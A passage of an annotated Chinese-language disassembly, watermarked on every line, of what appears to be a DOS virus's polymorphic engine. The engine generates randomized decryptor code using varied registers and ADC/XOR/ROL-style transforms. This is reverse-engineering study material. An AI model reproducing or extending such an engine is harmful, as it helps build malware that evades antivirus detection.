9E80:0C3C B0E9        MOV  AL,E9 防黑网.www.zzfhw.com
9E80:0C3E AA         STOSB 防黑网.www.zzfhw.com
9E80:0C3F 8D8590FC     LEA  AX,[DI+FC90] 防黑网.www.zzfhw.com
9E80:0C43 F7D8        NEG  AX 防黑网.www.zzfhw.com
9E80:0C45 AB         STOSW 防黑网.www.zzfhw.com
9E80:0C46 8B360A14     MOV  SI,[140A] 防黑网.www.zzfhw.com
9E80:0C4A 81FF7012     CMP  DI,1270 防黑网.www.zzfhw.com
9E80:0C4E 7204        JB  0C54 防黑网.www.zzfhw.com
9E80:0C50 F9         STC 防黑网.www.zzfhw.com
9E80:0C51 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0C52 5D         POP  BP 防黑网.www.zzfhw.com
9E80:0C53 C3         RET 防黑网.www.zzfhw.com
9E80:0C54 E94906      JMP  12A0 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 由 0B08 调用, 生成指针寄存器加二指令 防黑网.www.zzfhw.com
; 单寄存器时为 寄存器加二 防黑网.www.zzfhw.com
; 双寄存器时为 寄存器加二 或 随机将两个寄存器加一 防黑网.www.zzfhw.com
9E80:0C57 A10E14      MOV  AX,[140E]   ;AH = 第二指针寄存器 防黑网.www.zzfhw.com
9E80:0C5A BA0200      MOV  DX,0002   ;AL = 第一指针寄存器 防黑网.www.zzfhw.com
9E80:0C5D 80FCFF      CMP  AH,FF 防黑网.www.zzfhw.com
9E80:0C60 7412        JZ  0C74 防黑网.www.zzfhw.com
9E80:0C62 E8F504      CALL  115A 防黑网.www.zzfhw.com
9E80:0C65 7506        JNZ  0C6D     ;分支之一 防黑网.www.zzfhw.com
9E80:0C67 4A         DEC  DX 防黑网.www.zzfhw.com
9E80:0C68 E80200      CALL  0C6D 防黑网.www.zzfhw.com
9E80:0C6B EB05        JMP  0C72 防黑网.www.zzfhw.com
9E80:0C6D E8EA04      CALL  115A     ;分支之二 防黑网.www.zzfhw.com
9E80:0C70 7502        JNZ  0C74 防黑网.www.zzfhw.com
9E80:0C72 86C4        XCHG  AL,AH     ;随机将第一或第二指针寄存器加一 防黑网.www.zzfhw.com
9E80:0C74 E81603      CALL  0F8D     ;分支之三 防黑网.www.zzfhw.com
9E80:0C77 29160614     SUB  [1406],DX   ;0F8D 为 ADD R_AL,数_DX 防黑网.www.zzfhw.com
9E80:0C7B C3         RET       ;[1406] 为指针偏移 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 由 0B05 处调用, 生成计数寄存器减一指令 防黑网.www.zzfhw.com
; 如果 计数寄存器 = CX 防黑网.www.zzfhw.com
; 在以后再减 (设置 BP 2000 为标志) 防黑网.www.zzfhw.com
9E80:0C7C 81FE7C0C     CMP  SI,0C7C   ;非最后调用转 0C8B 防黑网.www.zzfhw.com
9E80:0C80 7509        JNZ  0C8B 防黑网.www.zzfhw.com
9E80:0C82 E8D504      CALL  115A     ; 防黑网.www.zzfhw.com
9E80:0C85 7504        JNZ  0C8B 防黑网.www.zzfhw.com
9E80:0C87 81CD0048     OR  BP,4800   ;01001000 防黑网.www.zzfhw.com
9E80:0C8B A00D14      MOV  AL,[140D]   ;密文长度寄存器 防黑网.www.zzfhw.com
9E80:0C8E 3C01        CMP  AL,01 防黑网.www.zzfhw.com
9E80:0C90 750B        JNZ  0C9D 防黑网.www.zzfhw.com
9E80:0C92 E8C504      CALL  115A     ;寄存器为 CX 防黑网.www.zzfhw.com
9E80:0C95 7506        JNZ  0C9D 防黑网.www.zzfhw.com
9E80:0C97 81CD0020     OR  BP,2000   ;寄存器为 CX, BP 设置为 2000 防黑网.www.zzfhw.com
9E80:0C9B EB06        JMP  0CA3     ;且不执行 SUB R_AL,1 指令 防黑网.www.zzfhw.com
9E80:0C9D BAFFFF      MOV  DX,FFFF   ;寄存器不是 CX 防黑网.www.zzfhw.com
9E80:0CA0 E8EA02      CALL  0F8D     ;产生SUB R_AL,1 (ADD R_AL,-1) 防黑网.www.zzfhw.com
9E80:0CA3 81CD0004     OR  BP,0400   ;设置 0400 防黑网.www.zzfhw.com
9E80:0CA7 C3         RET 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 由 0AFF 处调用, 生成加密及解密代码 防黑网.www.zzfhw.com
; 可能性: ADC/SBB/XOR/ROL/ROR ==> 11/19/31/D3/D3 防黑网.www.zzfhw.com
9E80:0CA8 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:0CA9 81E5FFFB     AND  BP,FBFF   ;1011 防黑网.www.zzfhw.com
9E80:0CAD A00C14      MOV  AL,[140C]   ;密匙寄存器 防黑网.www.zzfhw.com
9E80:0CB0 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0CB1 B80400      MOV  AX,0004 防黑网.www.zzfhw.com
9E80:0CB4 E8AF04      CALL  1166 防黑网.www.zzfhw.com
9E80:0CB7 BB0501      MOV  BX,0105   ;加密算法 防黑网.www.zzfhw.com
9E80:0CBA B91911      MOV  CX,1119   ;解密变型算法 防黑网.www.zzfhw.com
9E80:0CBD BA0529      MOV  DX,2905    ;加密算法 防黑网.www.zzfhw.com
9E80:0CC0 742B        JZ  0CED 防黑网.www.zzfhw.com
9E80:0CC2 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0CC3 7424        JZ  0CE9 防黑网.www.zzfhw.com
9E80:0CC5 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0CC6 7507        JNZ  0CCF 防黑网.www.zzfhw.com
;分支之一: 防黑网.www.zzfhw.com
9E80:0CC8 B731        MOV  BH,31    ;BH = 31, 解密变型算法为 XOR 防黑网.www.zzfhw.com
9E80:0CCA BA0531      MOV  DX,3105   ;DX = 31 05 防黑网.www.zzfhw.com
9E80:0CCD EB2A        JMP  0CF9     ;加密算法为 XOR [DI],AX 防黑网.www.zzfhw.com
;分支之二: 防黑网.www.zzfhw.com
9E80:0CCF 803E0C1401    CMP  Byte Ptr [140C],01 防黑网.www.zzfhw.com
9E80:0CD4 75DB        JNZ  0CB1 防黑网.www.zzfhw.com
9E80:0CD6 81CD0004     OR  BP,0400   ;密匙寄存器为 CX 防黑网.www.zzfhw.com
9E80:0CDA B7D3        MOV  BH,D3     ;则采用 ROL 算法 防黑网.www.zzfhw.com
9E80:0CDC BA0DD3      MOV  DX,D30D   ;解密变型算法为 BX = D3 0D 防黑网.www.zzfhw.com
9E80:0CDF 48         DEC  AX     ;ROR word ptr [??],CL 防黑网.www.zzfhw.com
9E80:0CE0 7402        JZ  0CE4     ;加密算法为 D3 05 防黑网.www.zzfhw.com
9E80:0CE2 87DA        XCHG  BX,DX     ;ROL word ptr [DI],CL 防黑网.www.zzfhw.com
;分支之五          ;修改 r/m 为 000 或 001 防黑网.www.zzfhw.com
9E80:0CE4 A20C14      MOV  [140C],AL   ;因为D3 mm 000 r/m=ROL r/m16,CL 防黑网.www.zzfhw.com
9E80:0CE7 EB10        JMP  0CF9     ;   D3 mm 001 r/m=ROR r/m16,CL 防黑网.www.zzfhw.com
;分支之三 防黑网.www.zzfhw.com
9E80:0CE9 86F7        XCHG  DH,BH     ;CH = 19 解密变型算法为 SBB 防黑网.www.zzfhw.com
9E80:0CEB 86CD        XCHG  CL,CH     ;加密算法为 01 05, ADD [DI],AX 防黑网.www.zzfhw.com
;分支之四 防黑网.www.zzfhw.com
9E80:0CED E86A04      CALL  115A     ;BH = 11 防黑网.www.zzfhw.com
9E80:0CF0 7507        JNZ  0CF9     ;解密变型算法为 ADC 防黑网.www.zzfhw.com
9E80:0CF2 53         PUSH  BX     ;DX = 29 05 防黑网.www.zzfhw.com
9E80:0CF3 8AFD        MOV  BH,CH     ;加密算法为 SUB [DI],AX 防黑网.www.zzfhw.com
9E80:0CF5 E81403      CALL  100C     ;产生清 CY 标志指令 防黑网.www.zzfhw.com
9E80:0CF8 3C53        CMP  AL,53   ----- 防黑网.www.zzfhw.com
                               | 防黑网.www.zzfhw.com
    0CF9 53         PUSH  BX        | 防黑网.www.zzfhw.com
9E80:0CFA F7C50080     TEST  BP,8000  <---- 防黑网.www.zzfhw.com
9E80:0CFE 740F        JZ  0D0F 防黑网.www.zzfhw.com
9E80:0D00 E8E103      CALL  10E4     ;判断寄存器之一是否为 BP 防黑网.www.zzfhw.com
9E80:0D03 740A        JZ  0D0F     ;是转 0D0F 防黑网.www.zzfhw.com
9E80:0D05 B02E        MOV  AL,2E    ;2E = CS: 防黑网.www.zzfhw.com
9E80:0D07 E85004      CALL  115A 防黑网.www.zzfhw.com
9E80:0D0A 7502        JNZ  0D0E 防黑网.www.zzfhw.com
9E80:0D0C B036        MOV  AL,36    ;36 = SS: 防黑网.www.zzfhw.com
9E80:0D0E AA         STOSB 防黑网.www.zzfhw.com
9E80:0D0F 8AC7        MOV  AL,BH     ; 防黑网.www.zzfhw.com
9E80:0D11 AA         STOSB 防黑网.www.zzfhw.com
9E80:0D12 A10E14      MOV  AX,[140E] 防黑网.www.zzfhw.com
9E80:0D15 80FCFF      CMP  AH,FF 防黑网.www.zzfhw.com
9E80:0D18 7402        JZ  0D1C 防黑网.www.zzfhw.com
9E80:0D1A 02C4        ADD  AL,AH     ;两寄存器 相加 防黑网.www.zzfhw.com
9E80:0D1C BB910D      MOV  BX,0D91   ;BX+SI=9  BX+DI=10 防黑网.www.zzfhw.com
9E80:0D1F D7         XLAT       ;BP+SI=11 BP+DI=12 防黑网.www.zzfhw.com
9E80:0D20 E8C103      CALL  10E4     ;换码后分别为 0/1/2/3 防黑网.www.zzfhw.com
            ;单寄存器时 防黑网.www.zzfhw.com
            ;BX=3    BP=5 防黑网.www.zzfhw.com
            ;SI=6    DI=7 防黑网.www.zzfhw.com
            ;换码后分别为 7/6/4/5 防黑网.www.zzfhw.com
            ;于 r/m 相对应 防黑网.www.zzfhw.com
9E80:0D23 7506        JNZ  0D2B 防黑网.www.zzfhw.com
9E80:0D25 FEC4        INC  AH 防黑网.www.zzfhw.com
9E80:0D27 7502        JNZ  0D2B     ;两寄存器转 0D2B 防黑网.www.zzfhw.com
9E80:0D29 0C40        OR  AL,40    ;mm = 01, 即 r/m+disp8 防黑网.www.zzfhw.com
9E80:0D2B 8B0E0614     MOV  CX,[1406]   ;[1406] = 指针偏移 防黑网.www.zzfhw.com
9E80:0D2F BB0600      MOV  BX,0006 防黑网.www.zzfhw.com
9E80:0D32 E81F04      CALL  1154 防黑网.www.zzfhw.com
9E80:0D35 7402        JZ  0D39 防黑网.www.zzfhw.com
9E80:0D37 E316        JCXZ  0D4F 防黑网.www.zzfhw.com
9E80:0D39 0C40        OR  AL,40 防黑网.www.zzfhw.com
9E80:0D3B E81C04      CALL  115A 防黑网.www.zzfhw.com
9E80:0D3E 750D        JNZ  0D4D 防黑网.www.zzfhw.com
9E80:0D40 83F97F      CMP  CX,+7F     ;判断密匙是否为字节 防黑网.www.zzfhw.com
9E80:0D43 760A        JBE  0D4F     ;如果为字节转 0D4F 防黑网.www.zzfhw.com
9E80:0D45 83F980      CMP  CX,-80     ;如果为字转 0D4D 防黑网.www.zzfhw.com
9E80:0D48 7203        JB  0D4D     ;设置 mm 为 r/m+disp16 防黑网.www.zzfhw.com
9E80:0D4A 32ED        XOR  CH,CH 防黑网.www.zzfhw.com
9E80:0D4C 3D34C0      CMP  AX,C034 防黑网.www.zzfhw.com
    0D4D 34C0        XOR  AL,C0    ;即 OR AL,80 防黑网.www.zzfhw.com
                                ;mm = 10, 即 r/m+disp16 防黑网.www.zzfhw.com
9E80:0D4F 8A260C14     MOV  AH,[140C]   ;密匙寄存器 => AH 防黑网.www.zzfhw.com
9E80:0D53 D0E4        SHL  AH,1 防黑网.www.zzfhw.com
9E80:0D55 D0E4        SHL  AH,1 防黑网.www.zzfhw.com
9E80:0D57 D0E4        SHL  AH,1     ;将 r/m 字段加入 AL 防黑网.www.zzfhw.com
9E80:0D59 0AC4        OR  AL,AH 防黑网.www.zzfhw.com
9E80:0D5B AA         STOSB 防黑网.www.zzfhw.com
9E80:0D5C A8C0        TEST  AL,C0 防黑网.www.zzfhw.com
9E80:0D5E 7407        JZ  0D67 防黑网.www.zzfhw.com
9E80:0D60 A880        TEST  AL,80 防黑网.www.zzfhw.com
9E80:0D62 91         XCHG  AX,CX 防黑网.www.zzfhw.com
9E80:0D63 AB         STOSW       ;写指令 disp16 部分 防黑网.www.zzfhw.com
9E80:0D64 7501        JNZ  0D67     ;如果为 disp8, DI 减一 防黑网.www.zzfhw.com
9E80:0D66 4F         DEC  DI 防黑网.www.zzfhw.com
9E80:0D67 873E0814     XCHG  DI,[1408]   ;[1408]为加密算法指针 防黑网.www.zzfhw.com
9E80:0D6B F7C50004     TEST  BP,0400   ;如果密匙寄存器为 CX 防黑网.www.zzfhw.com
9E80:0D6F 7403        JZ  0D74     ;则加密算法用 ROL/ROR [DI],CL 防黑网.www.zzfhw.com
9E80:0D71 B091        MOV  AL,91     ;91 = XCHG AX, CX 防黑网.www.zzfhw.com
9E80:0D73 AA         STOSB       ;先把 AX 中密匙换到 CX 中 防黑网.www.zzfhw.com
9E80:0D74 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0D75 86C4        XCHG  AL,AH     ;DX 为加密算法指令 防黑网.www.zzfhw.com
9E80:0D77 893E0A14     MOV  [140A],DI   ;[140A] 为加密算法指令的 防黑网.www.zzfhw.com
9E80:0D7B AB         STOSW       ;结束位置 防黑网.www.zzfhw.com
9E80:0D7C 7403        JZ  0D81 防黑网.www.zzfhw.com
9E80:0D7E B091        MOV  AL,91     ;91 = XCHG AX, CX 防黑网.www.zzfhw.com
9E80:0D80 AA         STOSB 防黑网.www.zzfhw.com
9E80:0D81 873E0814     XCHG  DI,[1408]   ;恢复 DI 为变型代码指针 防黑网.www.zzfhw.com
9E80:0D85 58         POP  AX 防黑网.www.zzfhw.com
9E80:0D86 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0D88 A3CC12      MOV  [12CC],AX   ;???? 加密算法 防黑网.www.zzfhw.com
9E80:0D8B 58         POP  AX 防黑网.www.zzfhw.com
9E80:0D8C A20C14      MOV  [140C],AL   ;恢复密匙寄存器 防黑网.www.zzfhw.com
9E80:0D8F 5D         POP  BP 防黑网.www.zzfhw.com
9E80:0D90 C3         RET 防黑网.www.zzfhw.com
;====================================================================== 防黑网.www.zzfhw.com
; 指针寄存器 ===> r/m 对应表 防黑网.www.zzfhw.com
; 由 0D1F 查表 防黑网.www.zzfhw.com
9E80:0D91 FF FF FF 07 FF 06 04 05 FF 00 01 02 03 防黑网.www.zzfhw.com
;===================================================================== 防黑网.www.zzfhw.com
; 由 0B02 调用, 随机决定是否每个循环改变密匙 防黑网.www.zzfhw.com
; 防黑网.www.zzfhw.com
9E80:0D9E E8B903      CALL  115A 防黑网.www.zzfhw.com
9E80:0D9F 7501        JNZ  0DA4 防黑网.www.zzfhw.com
9E80:0DA2 C3         RET 防黑网.www.zzfhw.com
9E80:0DA4 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:0DA5 81CD0002     OR  BP,0200   ;标志: 要保存随机指令到 [1410] 防黑网.www.zzfhw.com
9E80:0DA9 B80300      MOV  AX,0003 防黑网.www.zzfhw.com
9E80:0DAC E8B703      CALL  1166 防黑网.www.zzfhw.com
9E80:0DAF 751B        JNZ  0DCC 防黑网.www.zzfhw.com
;分支之一 防黑网.www.zzfhw.com
9E80:0DB1 E8AF03      CALL  1163 防黑网.www.zzfhw.com
9E80:0DB4 92         XCHG  AX,DX     ;DX = 随机数 防黑网.www.zzfhw.com
9E80:0DB5 A00C14      MOV  AL,[140C]   ;[140C] 为密匙寄存器 防黑网.www.zzfhw.com
9E80:0DB8 E86C01      CALL  0F27     ;ADD R_AL,DX 防黑网.www.zzfhw.com
            ;随机改变密匙寄存器 防黑网.www.zzfhw.com
9E80:0DBB 873E0814     XCHG  DI,[1408]   ;[1408] 为加密代码指针 防黑网.www.zzfhw.com
9E80:0DBF 47         INC  DI 防黑网.www.zzfhw.com
9E80:0DC0 A01014      MOV  AL,[1410]   ;[1410] 为密匙改变算法 防黑网.www.zzfhw.com
9E80:0DC3 AA         STOSB       ;加入加密算法代码中 防黑网.www.zzfhw.com
9E80:0DC4 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0DC5 AB         STOSW 防黑网.www.zzfhw.com
9E80:0DC6 873E0814     XCHG  DI,[1408]   ;恢复 DI 为变型解密算法指针 防黑网.www.zzfhw.com
9E80:0DCA 5D         POP  BP 防黑网.www.zzfhw.com
9E80:0DCB C3         RET 防黑网.www.zzfhw.com
;分支之二 防黑网.www.zzfhw.com
9E80:0DCC B004        MOV  AL,04 防黑网.www.zzfhw.com
9E80:0DCE E89503      CALL  1166 防黑网.www.zzfhw.com
9E80:0DD1 752A        JNZ  0DFD 防黑网.www.zzfhw.com
9E80:0DD3 B8C0D1      MOV  AX,D1C0   ;D1C0 = ROL R_AL,1 防黑网.www.zzfhw.com
9E80:0DD6 BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0DD9 E87803      CALL  1154 防黑网.www.zzfhw.com
9E80:0DDC 7510        JNZ  0DEE 防黑网.www.zzfhw.com
9E80:0DDE 803E0D1401    CMP  Byte Ptr [140D],01 防黑网.www.zzfhw.com
9E80:0DE3 7509        JNZ  0DEE     ;密文长度寄存器不为 CX 防黑网.www.zzfhw.com
9E80:0DE5 F7C50004     TEST  BP,0400   ;且密匙寄存器为 CX 转 0DEE 防黑网.www.zzfhw.com
9E80:0DE9 7503        JNZ  0DEE     ;否则使用 ROL R_AL,CL 防黑网.www.zzfhw.com
9E80:0DEB 80CC02      OR  AH,02     ;现 AX = D3C0 防黑网.www.zzfhw.com
9E80:0DEE 86C4        XCHG  AL,AH     ;即 ROL R_AL,CL 防黑网.www.zzfhw.com
9E80:0DF0 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0DF1 0A260C14     OR  AH,[140C]   ;存指令 防黑网.www.zzfhw.com
9E80:0DF5 AB         STOSW 防黑网.www.zzfhw.com
9E80:0DF6 58         POP  AX 防黑网.www.zzfhw.com
9E80:0DF7 873E0814     XCHG  DI,[1408]   ;[1408] 为加密算法指令指针 防黑网.www.zzfhw.com
9E80:0DFB EBC8        JMP  0DC5     ;保存加密算法指令 防黑网.www.zzfhw.com
;分支之三 防黑网.www.zzfhw.com
9E80:0DFD 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0DFE 7505        JNZ  0E05 防黑网.www.zzfhw.com
9E80:0E00 B8C8D1      MOV  AX,D1C8   ;D1C8 = ROR R_AL,1 防黑网.www.zzfhw.com
9E80:0E03 EBD1        JMP  0DD6     ;其它见 0DD6 处 防黑网.www.zzfhw.com
;分支之四 防黑网.www.zzfhw.com
9E80:0E05 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0E06 7505        JNZ  0E0D 防黑网.www.zzfhw.com
9E80:0E08 B8D0F7      MOV  AX,F7D0   ;F7D0 = NOT R_AL 防黑网.www.zzfhw.com
9E80:0E0B EBE1        JMP  0DEE 防黑网.www.zzfhw.com
;分支之五 防黑网.www.zzfhw.com
9E80:0E0D 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0E0E 7505        JNZ  0E15 防黑网.www.zzfhw.com
9E80:0E10 B8D8F7      MOV  AX,F7D8   ;F7D8 = NEG R_AL 防黑网.www.zzfhw.com
9E80:0E13 EBD9        JMP  0DEE 防黑网.www.zzfhw.com
;分支之六 防黑网.www.zzfhw.com
9E80:0E15 E84B03      CALL  1163 防黑网.www.zzfhw.com
9E80:0E18 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0E19 A00C14      MOV  AL,[140C]   ;[140C] = 密匙寄存器 防黑网.www.zzfhw.com
9E80:0E1C E86E01      CALL  0F8D     ;产生 ADD R_AL,数_DX 指令 防黑网.www.zzfhw.com
9E80:0E1F EB9A        JMP  0DBB 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 本子程序由 0ADB 调用, 取随机寄存器于 [140C] 中 (密匙寄存器) 防黑网.www.zzfhw.com
; 并产生 MOV R_140C, 密匙 指令 防黑网.www.zzfhw.com
9E80:0E21 E8DC02      CALL  1100     ;取一寄存器 防黑网.www.zzfhw.com
9E80:0E24 92         XCHG  AX,DX     ; 防黑网.www.zzfhw.com
9E80:0E25 E83B03      CALL  1163 防黑网.www.zzfhw.com
9E80:0E28 A3A311      MOV  [11A3],AX   ;随机数 (密匙) 防黑网.www.zzfhw.com
9E80:0E2B 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0E2C A20C14      MOV  [140C],AL 防黑网.www.zzfhw.com
9E80:0E2F E86F00      CALL  0EA1 防黑网.www.zzfhw.com
9E80:0E32 C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 本子程序由 0AD8 调用, 取随机寄存器于 140D 中 (计数寄存器) 防黑网.www.zzfhw.com
; 并产生 MOV R_140D, 密文长度 指令 防黑网.www.zzfhw.com
9E80:0E33 E8CA02      CALL  1100     ;取寄存器 防黑网.www.zzfhw.com
9E80:0E36 A20D14      MOV  [140D],AL 防黑网.www.zzfhw.com
9E80:0E39 BAED08      MOV  DX,08ED   ;产生 MOV R_AL,08ED 防黑网.www.zzfhw.com
9E80:0E3C E86200      CALL  0EA1     ;08ED x 2 = 11DA 为解密数据长度 防黑网.www.zzfhw.com
9E80:0E3F C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 本子程序由 0ADE 调用, 产生指针寄存器 防黑网.www.zzfhw.com
; 取第一偏移寄存器于 140E 中 (BX,BP,SI,DI 之一) 防黑网.www.zzfhw.com
; 再取第二偏移寄存器于 140F 中, 并产生 MOV R_140E,xxxx 和 MOV R_140F,yyyy指令 防黑网.www.zzfhw.com
; 其中 xxxx+yyyy+[1406] = 入口IP地址 防黑网.www.zzfhw.com
; 指针寻址方式可能为 [BX/BP/SI/DI+xxxx] 或 [BX/BP+SI/DI+xxxx] 两种方式 防黑网.www.zzfhw.com
9E80:0E40 8B160414     MOV  DX,[1404]   ;1404 = 解密后 IP 入口 防黑网.www.zzfhw.com
9E80:0E44 E8AD02      CALL  10F4 防黑网.www.zzfhw.com
9E80:0E47 A20E14      MOV  [140E],AL 防黑网.www.zzfhw.com
9E80:0E4A C6060F14FF    MOV  Byte Ptr [140F],FF   ;第二偏移寄存器无 防黑网.www.zzfhw.com
9E80:0E4F BB0300      MOV  BX,0003 防黑网.www.zzfhw.com
9E80:0E52 E8FF02      CALL  1154 防黑网.www.zzfhw.com
9E80:0E55 7533        JNZ  0E8A     ;随机分支 0E57 或 0E8A 防黑网.www.zzfhw.com
9E80:0E57 3C06        CMP  AL,06 防黑网.www.zzfhw.com
9E80:0E59 BBC000      MOV  BX,00C0   ;BX 中数用来测试 BP 中 防黑网.www.zzfhw.com
9E80:0E5C 7202        JB  0E60     ;表示的寄存器是否存在 防黑网.www.zzfhw.com
9E80:0E5E B328        MOV  BL,28    ;00C0 => SI/DI, 0028 => BP/BX 防黑网.www.zzfhw.com
            ;以上几句为 防黑网.www.zzfhw.com
            ;当 R_AL 为 BP/BX 时测试 SI/DI 防黑网.www.zzfhw.com
            ;当 R_AL 为 SI/DI 时测试 BP/BX 防黑网.www.zzfhw.com
9E80:0E60 85EB        TEST  BX,BP     ;测试寄存器是否存在 防黑网.www.zzfhw.com
9E80:0E62 7426        JZ  0E8A     ;不存在转 0E8A 防黑网.www.zzfhw.com
9E80:0E64 E88D02      CALL  10F4     ;取寄存器 防黑网.www.zzfhw.com
9E80:0E67 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0E68 E8BC02      CALL  1127     ;转换到 BIT 防黑网.www.zzfhw.com
9E80:0E6B 84C3        TEST  BL,AL     ;测试是否为 BX 中的寄存器 防黑网.www.zzfhw.com
9E80:0E6D 58         POP  AX 防黑网.www.zzfhw.com
9E80:0E6E 7505        JNZ  0E75     ;是, 转 0E75 防黑网.www.zzfhw.com
9E80:0E70 E8AB02      CALL  111E     ;恢复 BP 中寄存器, 重新选择 防黑网.www.zzfhw.com
9E80:0E73 EBEF        JMP  0E64 防黑网.www.zzfhw.com
9E80:0E75 A20F14      MOV  [140F],AL   ;保存寄存器到 [140F] 防黑网.www.zzfhw.com
9E80:0E78 BBFFFF      MOV  BX,FFFF   ;产生随机数 防黑网.www.zzfhw.com
9E80:0E7B E8D602      CALL  1154 防黑网.www.zzfhw.com
9E80:0E7E 2BD3        SUB  DX,BX 防黑网.www.zzfhw.com
9E80:0E80 87DA        XCHG  BX,DX 防黑网.www.zzfhw.com
9E80:0E82 E81C00      CALL  0EA1     ;产生 MOV R_140F,随机数1 防黑网.www.zzfhw.com
9E80:0E85 87DA        XCHG  BX,DX 防黑网.www.zzfhw.com
9E80:0E87 A00E14      MOV  AL,[140E] 防黑网.www.zzfhw.com
9E80:0E8A 33DB        XOR  BX,BX 防黑网.www.zzfhw.com
9E80:0E8C E8CB02      CALL  115A 防黑网.www.zzfhw.com
9E80:0E8F 7508        JNZ  0E99 防黑网.www.zzfhw.com
9E80:0E91 BBFFFF      MOV  BX,FFFF 防黑网.www.zzfhw.com
9E80:0E94 E8BD02      CALL  1154 防黑网.www.zzfhw.com
9E80:0E97 2BD3        SUB  DX,BX 防黑网.www.zzfhw.com
9E80:0E99 891E0614     MOV  [1406],BX   ;1406 为指针偏移 防黑网.www.zzfhw.com
9E80:0E9D E80100      CALL  0EA1     ;产生 MOV R_140E,随机数2 防黑网.www.zzfhw.com
9E80:0EA0 C3         RET       ;RND1 + RND2 + [1406] = 入口DX 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 随机产生 MOV R_AL,数_DX 功能的代码 防黑网.www.zzfhw.com
; 入口: AX = 寄存器, DX = 16位数据 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
9E80:0EA1 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0EA2 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:0EA3 BB0400      MOV  BX,0004 防黑网.www.zzfhw.com
9E80:0EA6 E8AB02      CALL  1154     ;随机分支 防黑网.www.zzfhw.com
9E80:0EA9 7513        JNZ  0EBE     ;3/4 可能转 0EBE 防黑网.www.zzfhw.com
9E80:0EAB BBFFFF      MOV  BX,FFFF 防黑网.www.zzfhw.com
9E80:0EAE E8A302      CALL  1154 防黑网.www.zzfhw.com
9E80:0EB1 2BD3        SUB  DX,BX 防黑网.www.zzfhw.com
9E80:0EB3 E80A00      CALL  0EC0     ;产生 MOV R_AL,数_DX1 指令 防黑网.www.zzfhw.com
9E80:0EB6 8BD3        MOV  DX,BX 防黑网.www.zzfhw.com
9E80:0EB8 E8D200      CALL  0F8D     ;产生 ADD R_AL,数_DX2 指令 防黑网.www.zzfhw.com
9E80:0EBB 5A         POP  DX     ;组合起来计 MOV R_AL,数_DX 防黑网.www.zzfhw.com
9E80:0EBC 5B         POP  BX     ;其中 数_DX = 数_DX1 + 数_DX2 防黑网.www.zzfhw.com
9E80:0EBD C3         RET 防黑网.www.zzfhw.com
9E80:0EBE 5A         POP  DX 防黑网.www.zzfhw.com
9E80:0EBF 5B         POP  BX 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 随机产生 MOV R_AL,数_DX 代码 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:0EC0 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0EC1 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0EC2 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:0EC3 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:0EC4 98         CBW 防黑网.www.zzfhw.com
9E80:0EC5 BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0EC8 E88902      CALL  1154 防黑网.www.zzfhw.com
9E80:0ECB 7425        JZ  0EF2 防黑网.www.zzfhw.com
9E80:0ECD B302        MOV  BL,02 防黑网.www.zzfhw.com
9E80:0ECF E88202      CALL  1154 防黑网.www.zzfhw.com
9E80:0ED2 7519        JNZ  0EED 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 分支之一: 产生指令 MOV r/m16,i16 或 LEA r/m16,[d16] 防黑网.www.zzfhw.com
; 有两种可能性: C7 或 8D 防黑网.www.zzfhw.com
9E80:0ED4 0DC0C7      OR  AX,C7C0   ;C7 mm 000 r/m 为 MOV r/m16,i16 防黑网.www.zzfhw.com
9E80:0ED7 E88002      CALL  115A 防黑网.www.zzfhw.com
9E80:0EDA 7507        JNZ  0EE3 防黑网.www.zzfhw.com
9E80:0EDC B103        MOV  CL,03 防黑网.www.zzfhw.com
9E80:0EDE D2E0        SHL  AL,CL 防黑网.www.zzfhw.com
9E80:0EE0 35064A      XOR  AX,4A06   ;C700 xor 4A06 = 8D06 防黑网.www.zzfhw.com
9E80:0EE3 86C4        XCHG  AL,AH     ;8D 00 rrr 110 为 LEA rrr,[d16] 防黑网.www.zzfhw.com
9E80:0EE5 AB         STOSW 防黑网.www.zzfhw.com
9E80:0EE6 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0EE7 AB         STOSW 防黑网.www.zzfhw.com
9E80:0EE8 E83E01      CALL  1029 防黑网.www.zzfhw.com
9E80:0EEB EB79        JMP  0F66 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 分支之二: 产生指令 MOV rrr,i16 (B8 + rrr) 防黑网.www.zzfhw.com
9E80:0EED 0CB8        OR  AL,B8     ;B8 + r 为 MOV rrr,i16 防黑网.www.zzfhw.com
9E80:0EEF AA         STOSB 防黑网.www.zzfhw.com
